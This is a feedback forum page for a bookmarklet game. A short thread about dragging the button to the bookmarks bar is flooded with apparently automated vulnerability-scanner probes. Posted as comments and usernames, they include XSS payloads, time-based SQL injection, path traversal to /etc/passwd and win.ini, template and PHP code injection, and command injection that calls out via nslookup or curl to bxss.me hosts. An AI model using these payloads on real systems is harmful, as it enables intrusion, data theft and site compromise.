Feedback

Button by Cottonball - 153 months ago

it wont let me drag the button to my bookmarks! ive tried everything

• BeyPokéDig

  Which browser do you use? Works for me in Google Chrome, but I haven't figured out how to make it work in Internet Explorer (which I prefer) yet.

• CrazyDeathling

  It works for me on Internet explorer. I simply just clicked and dragged it

• DevilishDB

  Maybe Cottonball and BeyPokeDig use IE8 but CrazyDeathling uses IE9.

• DevilishDB

  Or it might be you have to show the bar (right-click -> show favourites bar or something similar).

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CVdBcsm48O

• 1C87oiPaGzO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${10000230+10000137}

• ${10000327+9999004}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  response.write(9479608*9321086)

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  '+response.write(9479608*9321086)+'

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  "+response.write(9479608*9321086)+"

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• Anonymous

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  bxss.me

• WfxYANoW

  1

• response.write(9790939*9141171)

  1

• WfxYANoW

  ../1

• '+response.write(9790939*9141171)+'

  1

• "+response.write(9790939*9141171)+"

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• Http://bxss.me/t/fit.txt

  1

• file:///etc/passwd

  1

• WfxYANoW

  echo bdtuqn$()\ pbkqht\nz^xyu||a #' &echo bdtuqn$()\ pbkqht\nz^xyu||a #|" &echo bdtuqn$()\ pbkqht\nz^xyu||a #

• WfxYANoW

  4wCKPcII

• WfxYANoW

  1

• WfxYANoW

  &echo nythba$()\ rubcii\nz^xyu||a #' &echo nythba$()\ rubcii\nz^xyu||a #|" &echo nythba$()\ rubcii\nz^xyu||a #

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1

• WfxYANoW

  BNTEBq5d: tTyjug3R

• WfxYANoW

  1&echo lvqzkz$()\ ucxrck\nz^xyu||a #' &echo lvqzkz$()\ ucxrck\nz^xyu||a #|" &echo lvqzkz$()\ ucxrck\nz^xyu||a #

• ../WfxYANoW

  1

• /etc/shells

  1

• WfxYANoW

  |echo acvncq$()\ fqldfm\nz^xyu||a #' |echo acvncq$()\ fqldfm\nz^xyu||a #|" |echo acvncq$()\ fqldfm\nz^xyu||a #

• sbFxYfGR

  1

• WfxYANoW

  1|echo bpcdbl$()\ ircowd\nz^xyu||a #' |echo bpcdbl$()\ ircowd\nz^xyu||a #|" |echo bpcdbl$()\ ircowd\nz^xyu||a #

• WfxYANoW

  1&n925458=v980423

• c:/windows/win.ini

  1

• WfxYANoW

  (nslookup -q=cname hitbhxbzstmxfa0d84.bxss.me||curl hitbhxbzstmxfa0d84.bxss.me))

• K8OA01oD: GdBbTeuF

  1

• MEZ5R3hQVTA=

  1

• bxss.me

  1

• WfxYANoW&n964832=v944305

  1

• WfxYANoW

  )

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitbj'.'ajbxmmctf33ce.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(81).chr(115).chr(79).'

• WfxYANoW

  $(nslookup -q=cname hitlohbmkdulp4896a.bxss.me||curl hitlohbmkdulp4896a.bxss.me)

• WfxYANoW

  ^(#$!@#$)(()))******

• )

  1

• WfxYANoW

  &nslookup -q=cname hitrkdzvpknlk6ac1a.bxss.me&'\"`0&nslookup -q=cname hitrkdzvpknlk6ac1a.bxss.me&`'

• !(()&&!|*|*|

  1

• WfxYANoW

  &(nslookup -q=cname hituudosxtrcnc94e4.bxss.me||curl hituudosxtrcnc94e4.bxss.me)&'\"`0&(nslookup -q=cname hituudosxtrcnc94e4.bxss.me||curl hituudosxtrcnc94e4.bxss.me)&`'

• WfxYANoW

  |(nslookup -q=cname hitqenyonpndv3b988.bxss.me||curl hitqenyonpndv3b988.bxss.me)

• WfxYANoW

  1

• WfxYANoW

  ".gethostbyname(lc("hitsi"."shdvjwkd5fb45.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(85).chr(107).chr(69)."

• WfxYANoW

  gethostbyname(lc('hitbr'.'udsynkyl99865.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(85).chr(107).chr(80)

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  '"()

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  `(nslookup -q=cname hitahrlnsjdij26b89.bxss.me||curl hitahrlnsjdij26b89.bxss.me)`

• WfxYANoW

  1'&&sleep(27*1000)*ehvnyj&&'

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  ;(nslookup -q=cname hitdbaxdjzybt383a1.bxss.me||curl hitdbaxdjzybt383a1.bxss.me)|(nslookup -q=cname hitdbaxdjzybt383a1.bxss.me||curl hitdbaxdjzybt383a1.bxss.me)&(nslookup -q=cname hitdbaxdjzybt383a1.bxss.me||curl hitdbaxdjzybt383a1.bxss.me)

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitznmiuitllq18d3e.bxss.me||curl${IFS}hitznmiuitllq18d3e.bxss.me)

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitkxcouavtqj5f284.bxss.me||curl${IFS}hitkxcouavtqj5f284.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkxcouavtqj5f284.bxss.me||curl${IFS}hitkxcouavtqj5f284.bxss.me)&`'

• WfxYANoW

  1"&&sleep(27*1000)*scsxsf&&"

• WfxYANoW

  1'||sleep(27*1000)*lvcbtp||'

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1"||sleep(27*1000)*wawltr||"

• xfs.bxss.me

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  '"

• WfxYANoW

  <!--

• '"

  1

• ';print(md5(31337));$a='

  1

• <!--

  1

• WfxYANoW

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >CuAQ(9348)</ScRiPt>

• ${@print(md5(31337))}

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >CuAQ(9910)</ScRiPt>

• ${@print(md5(31337))}\

  1

• '"()

  1

• WfxYANoW'&&sleep(27*1000)*ecjfgv&&'

  1

• WfxYANoW"&&sleep(27*1000)*tczwjp&&"

  1

• WfxYANoW'||sleep(27*1000)*dwqoqg||'

  1

• '.print(md5(31337)).'

  1

• WfxYANoW"||sleep(27*1000)*wylalb||"

  1

• WfxYANoW

  19594416

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(102).concat(73).concat(116).concat(74)+(require"socket" Socket.gethostbyname("hitxo"+"xqsrlqzz5c30f.bxss.me.")[3].to_s)+"

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(102).concat(79).concat(114).concat(78)+(require'socket' Socket.gethostbyname('hitot'+'wecpgjqm985f5.bxss.me.')[3].to_s)+'

• WfxYANoW

  bfg1101＜s1﹥s2ʺs3ʹhjl1101

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(118).concat(66).concat(100).concat(80)+(require'socket' Socket.gethostbyname('hitsr'+'rqpcddcdc20f6.bxss.me.')[3].to_s)

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  comment

• WfxYANoW

  comment

• WfxYANoW

  comment/.

• comment

  1

• WfxYANoW

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• comment

  1

• comment/.

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >CuAQ(9953)</ScRiPt>

• WfxYANoW

  1Pek03RZT

• WfxYANoW

  1<WUSGCQ>UJG47[!+!]</WUSGCQ>

• WfxYANoW

  1<script>CuAQ(9730)</script>

• WfxYANoW

  1<script>CuAQ(9035)</script>9035

• WfxYANoW

  1<ScR<ScRiPt>IpT>CuAQ(9852)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >CuAQ(9869)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9487></ScRiPt>

• WfxYANoW

  1<ScRiPt >CuAQ(9599)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=CuAQ(9541)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9829'>

• WfxYANoW

  1<body onload=CuAQ(9060)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=CuAQ(9292)>

• WfxYANoW

  1

• WfxYANoW

  1<img src=xyz OnErRor=CuAQ(9835)>

• WfxYANoW

  1<img/src=">" onerror=alert(9506)>

• WfxYANoW

  -1 OR 2+561-561-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+954-954-1=0+0+0+1

• WfxYANoW

  -1' OR 2+450-450-1=0+0+0+1 --

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%43%75%41%51%289935%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  -1' OR 2+688-688-1=0+0+0+1 or 'LHmMM0Hc'='

• WfxYANoW

  -1" OR 2+735-735-1=0+0+0+1 --

• WfxYANoW

  1\u003CScRiPt\CuAQ(9920)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;CuAQ(9457)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=CuAQ(9692)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(CuAQ(9072))}

• WfxYANoW

  12CKsd <ScRiPt >CuAQ(9442)</ScRiPt>

• WfxYANoW

  1<W0WPSQ>O9FLX[!+!]</W0WPSQ>

• WfxYANoW

  1<ifRAme sRc=9650.com></IfRamE>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<aVEBq37 x=9418>

• WfxYANoW

  1<img sRc='http://attacker-9265/log.php?

• WfxYANoW

  1<aZpPPjj<

• WfxYANoW'"()&%<zzz><ScRiPt >CuAQ(9713)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >CuAQ(9888)</ScRiPt>

  1

• WfxYANoW9768004

  1

• bfg7604＜s1﹥s2ʺs3ʹhjl7604

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >CuAQ(9104)</ScRiPt>

  1

• WfxYANoW<WONNJ5>BARPW[!+!]</WONNJ5>

  1

• WfxYANoW<script>CuAQ(9362)</script>

  1

• WfxYANoW<script>CuAQ(9991)</script>9991

  1

• WfxYANoW<ScRiPt >CuAQ(9962)</ScRiPt>

  1

• WfxYANoW<ScRiPt >CuAQ(9011)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=CuAQ(9731)>

  1

• WfxYANoW<img src=xyz OnErRor=CuAQ(9569)>

  1

• WfxYANoW<img/src=">" onerror=alert(9579)>

  1

• WfxYANoW\u003CScRiPt\CuAQ(9684)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;CuAQ(9157)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=CuAQ(9527)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(CuAQ(9546))}

  1

• WfxYANoWvqj0V <ScRiPt >CuAQ(9287)</ScRiPt>

  1

• WfxYANoW<W3MMKA>2VQEP[!+!]</W3MMKA>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<ifRAme sRc=9771.com></IfRamE>

  1

• WfxYANoW<a4pZomq x=9086>

  1

• WfxYANoW<img sRc='http://attacker-9954/log.php?

  1

• WfxYANoW<aIb3bJk<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1sPlseARe'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 276=(SELECT 276 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 140=(SELECT 140 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 135=(SELECT 135 FROM PG_SLEEP(15))--

• WfxYANoW

  1AiB5V4MN' OR 307=(SELECT 307 FROM PG_SLEEP(15))--

• WfxYANoW

  1GqweEWtk') OR 694=(SELECT 694 FROM PG_SLEEP(15))--

• WfxYANoW

  1e0sLjeuY')) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@o4bG2

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWlllhbbJ2

  1

• WfxYANoW

  1

• -1 OR 2+75-75-1=0+0+0+1 --

  1

• -1 OR 2+191-191-1=0+0+0+1

  1

• -1' OR 2+249-249-1=0+0+0+1 --

  1

• -1' OR 2+53-53-1=0+0+0+1 or 'rrzKr6hL'='

  1

• -1" OR 2+729-729-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW8DYzu6H5'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@ttCKt

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• oawhjjoc

  1

• akuifeaw

  response.write(9153652*9241724)

• jrsotvnp

  1

• akuifeaw

  '+response.write(9153652*9241724)+'

• lxibtsui

  set|set&set

• fcgsdfcs

  5uSvzg4h

• jrsotvnp

  1

• akuifeaw

  "+response.write(9153652*9241724)+"

• lxibtsui

  $(nslookup aOIv64rm)

• 16HJeHMb

  1

• jrsotvnp

  2q9pIPVm

• aicchjeg

  ../../../../../../../../../../etc/passwd

• response.write(9006303*9060685)

  1

• lxibtsui

  &nslookup HVPY9c6F&'\"`0&nslookup HVPY9c6F&`'

• quxmjmpq

  1

• jrsotvnp

  -1 OR 2+997-997-1=0+0+0+1 --

• aicchjeg

  ../../../../../../../../../../../../../../../proc/version

• '+response.write(9006303*9060685)+'

  1

• set|set&set

  1

• jrsotvnp

  -1 OR 2+191-191-1=0+0+0+1

• aicchjeg

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• "+response.write(9006303*9060685)+"

  1

• $(nslookup qLR3wYX5)

  1

• jrsotvnp

  -1' OR 2+153-153-1=0+0+0+1 --

• aicchjeg

  ../../../../../../../../../../etc/passwd.jpg

• mwipcaxm

  ${9999042+9999878}

• &nslookup FeBfChSj&'\"`0&nslookup FeBfChSj&`'

  1

• tilowpgj

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• jrsotvnp

  -1' OR 2+730-730-1=0+0+0+1 or '98JEMGdr'='

• aicchjeg

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999820+10000043}

  1

• eWptUUt6Vnk=

  1

• tilowpgj

  1some_inexistent_file_with_long_name.jpg

• quxmjmpq

  1

• jrsotvnp

  -1" OR 2+754-754-1=0+0+0+1 --

• aicchjeg

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• jbfbsjns

  1&n966479=v931121

• cqytrpqb

  )

• tilowpgj

  Http://testasp.vulnweb.com/t/fit.txt

• Anonymous

  1

• jrsotvnp

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• aicchjeg

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• cqytrpqb

  !(()&&!|*|*|

• tilowpgj

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• jrsotvnp

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• aicchjeg

  /etc/passwd

• onlrxunv&n952335=v942696

  1

• cqytrpqb

  ^(#$!@#$)(()))******

• tilowpgj

  testasp.vulnweb.com

• jrsotvnp

  -1; waitfor delay '0:0:10' --

• aicchjeg

  %2fetc%2fpasswd

• )

  1

• jrsotvnp

  -1); waitfor delay '0:0:15' --

• aicchjeg

  /.././.././.././.././.././.././.././../etc/./passwd%00

• waxksfbb

  ;print(md5(acunetix_wvs_security_test));

• pxapckme

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• khydevla

  '"()

• jrsotvnp

  1 waitfor delay '0:0:15' --

• aicchjeg

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• qpwhftsa

  1

• waxksfbb

  ';print(md5(acunetix_wvs_security_test));$a='

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• jrsotvnp

  B6qVUhDH'; waitfor delay '0:0:15' --

• aicchjeg

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• qpwhftsa

  comment

• waxksfbb

  ";print(md5(acunetix_wvs_security_test));$a="

• uiconqer

  http://hitFZJIeKj3hO.bxss.me/

• lnivtheq

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• '"()

  1

• jrsotvnp

  -1;select pg_sleep(5); --

• qpwhftsa

  comment

• waxksfbb

  ${@print(md5(acunetix_wvs_security_test))}

• lnivtheq

  1'"

• http://hitkdvQneZQ0j.bxss.me/

  1

• testasp.vulnweb.com

  1

• cbhdwmct

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• jrsotvnp

  -1;select pg_sleep(0); --

• aicchjeg

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• qpwhftsa

  comment/.

• waxksfbb

  ${@print(md5(acunetix_wvs_security_test))}\

• lnivtheq

  \

• germjbjs

  /www.vulnweb.com

• ywxbwnml

  '"

• jrsotvnp

  -1);select pg_sleep(5); --

• aicchjeg

  file:///etc/passwd

• qpwhftsa

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• /www.vulnweb.com

  1

• ywxbwnml

  <!--

• olfmpwep

  1'"()&%<acx><ScRiPt >tIUZ(9713)</ScRiPt>

• jrsotvnp

  -1);select pg_sleep(10); --

• aicchjeg

  /\../\../\../\../\../\../\../etc/passwd

• comment

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• lnivtheq

  @@n7H6o

• '"

  1

• jrsotvnp

  -1));select pg_sleep(5); --

• aicchjeg

  WEB-INF/web.xml

• comment

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• lnivtheq

  JyI=

• <!--

  1

• jrsotvnp

  -1));select pg_sleep(15); --

• aicchjeg

  /WEB-INF/web.xml

• olfmpwep

  '"()&%<acx><ScRiPt >tIUZ(9291)</ScRiPt>

• comment/.

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• jrsotvnp

  x4XMl8T2';select pg_sleep(10); --

• aicchjeg

  WEB-INF\web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• jrsotvnp

  1VBgjLQJ');select pg_sleep(10); --

• ../../../../../../../../../../etc/passwd

  1

• olfmpwep

  1_9040

• lnivtheq

  (select convert(int,CHAR(65)))

• jrsotvnp

  47Gq5knt'));select pg_sleep(10); --

• lnivtheq

  1

• jrsotvnp

  1

• olfmpwep

  acu5278＜s1﹥s2ʺs3ʹuca5278

• 1'"

  1

• jrsotvnp

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• \

  1

• 38BGL0Lh

  1

• -1 OR 2+10-10-1=0+0+0+1 --

  1

• @@4DJqu

  1

• -1 OR 2+98-98-1=0+0+0+1

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• JyI=

  1

• olfmpwep

  {{10000012*9999164}}

• -1' OR 2+141-141-1=0+0+0+1 --

  1

• /etc/passwd

  1

• -1' OR 2+333-333-1=0+0+0+1 or 'i08KEYVf'='

  1

• %2fetc%2fpasswd

  1

• olfmpwep

  1<ScRiPt >tIUZ(9688)</ScRiPt>

• -1" OR 2+964-964-1=0+0+0+1 --

  1

• (select convert(int,CHAR(65)))

  1

• olfmpwep

  1<W2XGJR>SUWQV[!+!]</W2XGJR>

• 1 waitfor delay '0:0:4' --

  1

• olfmpwep

  1<script>tIUZ(9312)</script>

• 2ePuGMpS'; waitfor delay '0:0:4' --

  1

• oWXdLvax';select pg_sleep(4); --

  1

• file:///etc/passwd

  1

• p8KuBhsq');select pg_sleep(8); --

  1

• olfmpwep

  1<ScR<ScRiPt>IpT>tIUZ(9192)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• byQolRA8'));select pg_sleep(8); --

  1

• WEB-INF/web.xml

  1

• olfmpwep

  1<ScRiPt >tIUZ(9679)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• olfmpwep

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9988></ScRiPt>

• olfmpwep

  1<ScRiPt >tIUZ(9818)</ScRiPt>

• olfmpwep

  1<video><source onerror="javascript:tIUZ(9434)">

• olfmpwep

  1<isindex type=image src=1 onerror=tIUZ(9509)>

• olfmpwep

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9248'>

• olfmpwep

  1<body onload=tIUZ(9244)>

• olfmpwep

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=tIUZ(9202)>

• olfmpwep

  1<img src=xyz OnErRor=tIUZ(9116)>

• olfmpwep

  1<img/src=">" onerror=alert(9405)>

• olfmpwep

  %31%3C%53%63%52%69%50%74%20%3E%74%49%55%5A%289826%29%3C%2F%73%43%72%69%70%54%3E

• olfmpwep

  1\u003CScRiPt\tIUZ(9085)\u003C/sCripT\u003E

• olfmpwep

  1&lt;ScRiPt&gt;tIUZ(9165)&lt;/sCripT&gt;

• olfmpwep

  1<input autofocus onfocus=tIUZ(9086)>

• olfmpwep

  <a HrEF=http://www.vulnweb.com></a>

• olfmpwep

  <a HrEF=jaVaScRiPT:>

• olfmpwep

  [url=http://www.vulnweb.com][/url]

• olfmpwep

  1<img<!-- --> src=x onerror=alert(9986);//><!-- -->

• olfmpwep

  1}body{acu:Expre/**/SSion(tIUZ(9750))}

• olfmpwep

  1<% contenteditable onresize=tIUZ(9132)>

• olfmpwep

  1_QW5kD <ScRiPt >tIUZ(9188)</ScRiPt>

• olfmpwep

  1<WQPV0B>ARPAK[!+!]</WQPV0B>

• olfmpwep

  1<ifRAme sRc=9729.com></IfRamE>

• olfmpwep

  1<N8wjpu x=9321>

• olfmpwep

  1<img sRc='http://attacker-9003/log.php?

• olfmpwep'"()&%<acx><ScRiPt >tIUZ(9769)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >tIUZ(9613)</ScRiPt>

  1

• olfmpwep_9003

  1

• acu1062＜s1﹥s2ʺs3ʹuca1062

  1

• {{9999475*10000470}}

  1

• olfmpwep<ScRiPt >tIUZ(9946)</ScRiPt>

  1

• olfmpwep<WFM5NZ>IX7LC[!+!]</WFM5NZ>

  1

• olfmpwep<script>tIUZ(9124)</script>

  1

• olfmpwep<ScRiPt >tIUZ(9706)</ScRiPt>

  1

• olfmpwep<ScRiPt >tIUZ(9240)</ScRiPt>

  1

• olfmpwep<body onload=tIUZ(9429)>

  1

• olfmpwep<img src=xyz OnErRor=tIUZ(9859)>

  1

• olfmpwep<img/src=">" onerror=alert(9858)>

  1

• olfmpwep\u003CScRiPt\tIUZ(9817)\u003C/sCripT\u003E

  1

• olfmpwep&lt;ScRiPt&gt;tIUZ(9054)&lt;/sCripT&gt;

  1

• olfmpwep<input autofocus onfocus=tIUZ(9762)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• olfmpwep}body{acu:Expre/**/SSion(tIUZ(9739))}

  1

• olfmpwep<% contenteditable onresize=tIUZ(9529)>

  1

• olfmpwep_egzLt <ScRiPt >tIUZ(9395)</ScRiPt>

  1

• olfmpwep<WXP5DH>6NBZS[!+!]</WXP5DH>

  1

• olfmpwep<ifRAme sRc=9385.com></IfRamE>

  1

• olfmpwep<11OO3Y x=9253>

  1

• olfmpwep<img sRc='http://attacker-9442/log.php?

  1

• Deeksha09gau

  it just doen't spawn the ship when I click the button in my bookmark

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

